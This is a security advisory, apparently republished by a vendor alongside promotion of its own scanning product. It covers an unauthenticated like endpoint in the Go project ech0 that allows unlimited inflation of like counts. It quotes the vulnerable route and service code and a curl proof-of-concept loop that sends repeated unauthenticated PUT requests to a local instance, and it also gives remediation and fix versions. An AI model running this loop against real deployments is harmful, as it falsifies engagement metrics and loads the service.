GHSA-rgj7-vg8v-j4wr
MEDIUMEch0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation
Blast Radius
github.com/lin-snow/ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
No authentication is required to invoke PUT /api/echo/like/:id. The handler is registered on the public router group. The service increments fav_count for the given echo without checking identity, without a per-user limit, and without CSRF tokens. A remote client can arbitrarily inflate like metrics with repeated requests.
Description
Root cause: The like endpoint is explicitly public (PublicRouterGroup). LikeEcho in the service layer only runs a repository increment inside a transaction—no viewer/user binding.
Security boundary that fails: Integrity of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.
Exploitation: Discover or guess a public echo UUID (timeline, API, share link) → send unauthenticated PUT repeatedly → fav_count increases linearly.
Affected files
| Public route registration | internal/router/echo.go |
| Like mutation (no auth check) | internal/service/echo/echo.go |
| Handler | internal/handler/echo/echo.go |
Vulnerable / relevant code
Public PUT route:
// Public
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags())
Service does not use viewer / rate limit:
func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {
return echoService.transactor.Run(ctx, func(txCtx context.Context) error {
return echoService.echoRepository.LikeEcho(txCtx, id)
})
}
Execution flow
- Client resolves
ECHO_ID(e.g.GET /api/echo/pagewith any valid token, or from UI). - Client sends
PUT /api/echo/like/{ECHO_ID}with noAuthorizationheader. - Gin matches public route → handler →
EchoService.LikeEcho→ DB incrementsfav_count. - Repeat N times → count increases by N.
Proof of concept
BASE="http://127.0.0.1:6277"
OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data')
ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \
-H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id')
# Single unauthenticated like
curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
# Inflate (e.g. 55 times); expect HTTP 200 each time
for i in $(seq 1 55); do
curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
done
# Observe fav_count
curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}'
Observed proof (manual test):
- Each unauthenticated
PUTreturned HTTP200with success JSON (e.g.点赞Echo成功,code:1). fav_countincreased to 113 , demonstrating linear inflation from one client with no authentication. <img width="1109" height="188" alt="Screenshot 2026-04-01 105522" src="https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c" />
Impact
Like counts and ranking/social proof can be falsified; feeds or “popular” logic tied to fav_count are untrustworthy.
high-volume loops add DB write load; possible abuse against availability at scale.
Attacker capability: Anyone on the network can manipulate public engagement metrics for any known echo id. Combined with permissive CORS browsers could automate cross-origin requests.
Remediation
Require authentication for likes and enforce one like per principal, or keep anonymous likes but add rate limiting, proof-of-work / captcha, or signed tokens tied to anon sessions; document that counts are not auditor-grade metrics.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 1.4.8-0.20260503040728-a7e8b8e84bd1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/lin-snow/ech0 to 1.4.8-0.20260503040728-a7e8b8e84bd1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rgj7-vg8v-j4wr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rgj7-vg8v-j4wr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rgj7-vg8v-j4wr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rgj7-vg8v-j4wr in your dependencies?
O3 detects GHSA-rgj7-vg8v-j4wr across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.